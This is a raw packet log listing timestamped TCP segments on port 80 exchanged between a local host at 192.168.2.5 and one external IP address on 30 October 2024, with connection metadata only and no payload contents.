Oct 30, 2024 18:06:46.602840900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602842093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602855921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602857113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602869034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602874994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602880001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602885008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602894068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602896929 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602900982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602906942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602916002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602927923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602937937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602938890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602952003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602965117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.602972984 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.602999926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603005886 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603286028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603296041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603306055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603322983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603333950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603344917 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603348970 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603362083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603369951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603374958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603389978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603404999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603415012 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603600979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603610992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603621960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603632927 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603632927 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603634119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603646040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603657007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603657007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603667974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603682995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603684902 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603691101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603696108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603698015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603702068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603708029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603722095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603727102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603739977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603750944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603756905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603763103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603771925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603775024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603785992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603791952 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603800058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603813887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603821039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603825092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603837013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603847027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603856087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603868008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603878975 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603883028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.603903055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.603918076 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604432106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604440928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604449987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604468107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604477882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604486942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604487896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604501963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604510069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604513884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604525089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604536057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604537010 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604547977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604558945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604566097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604572058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604584932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604593992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604595900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604609013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604619980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604624987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604634047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604645967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604651928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604656935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604669094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604676962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604681015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604691029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604691982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604718924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604732990 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.604914904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.604999065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605010986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605021954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605032921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605046988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605053902 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605062008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605098009 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605117083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605117083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605297089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605307102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605318069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605329037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605340004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605340004 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605351925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605362892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605365992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605376005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605385065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605387926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605402946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605415106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605416059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605427980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605432034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605443001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605453014 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605458021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605467081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605472088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605479002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605490923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605499983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605504990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605516911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605528116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605528116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605540037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605546951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605551004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605561972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605572939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605576992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605587959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605598927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605601072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605612040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605621099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605626106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605638027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.605639935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605662107 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.605684042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606262922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606273890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606283903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606295109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606312037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606313944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606328964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606329918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606340885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606352091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606353998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606364012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606375933 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606378078 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606386900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606399059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606405973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606410980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606420994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606422901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606435061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606435061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606447935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606458902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606465101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606472015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606482983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606492996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606496096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606502056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606508017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606513977 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606522083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606532097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606543064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606544018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606555939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606565952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606566906 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606579065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606585979 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606596947 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606621981 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606909990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606920958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606930971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606941938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606950045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606954098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606962919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.606970072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606981993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.606988907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.607008934 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.607024908 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.607039928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.607088089 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.607117891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.607135057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.607145071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.607158899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.607171059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.607194901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608000040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608019114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608030081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608042955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608056068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608072042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608401060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608412027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608423948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608442068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608452082 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608462095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608473063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608473063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608485937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608496904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608508110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608525991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608553886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608566046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608576059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608587980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608587980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608597994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608620882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608691931 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608707905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608720064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608731985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608736038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608742952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608755112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608760118 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608778000 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608808994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608835936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608848095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608860016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608870983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608872890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608881950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608885050 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608894110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608908892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608921051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.608932972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.608972073 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609031916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609042883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609054089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609071016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609081984 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609085083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609107018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609107971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609112024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609119892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609121084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609169960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609177113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609190941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609203100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609214067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609225035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609241009 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609278917 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609278917 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609292984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609303951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609313965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609324932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609338045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609338999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609343052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609354973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609360933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609366894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609379053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609385967 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609390020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609405041 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609420061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609441996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609616041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609627008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609637976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609647989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609658003 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609659910 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609667063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609675884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609694004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609702110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609705925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609709978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609719038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609731913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609731913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609744072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609754086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609756947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609769106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609778881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609781027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609793901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609795094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609819889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609843016 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.609932899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609944105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609955072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609966993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609977007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.609977007 CET	49812	80	192.168.2.5	185.215.113.206
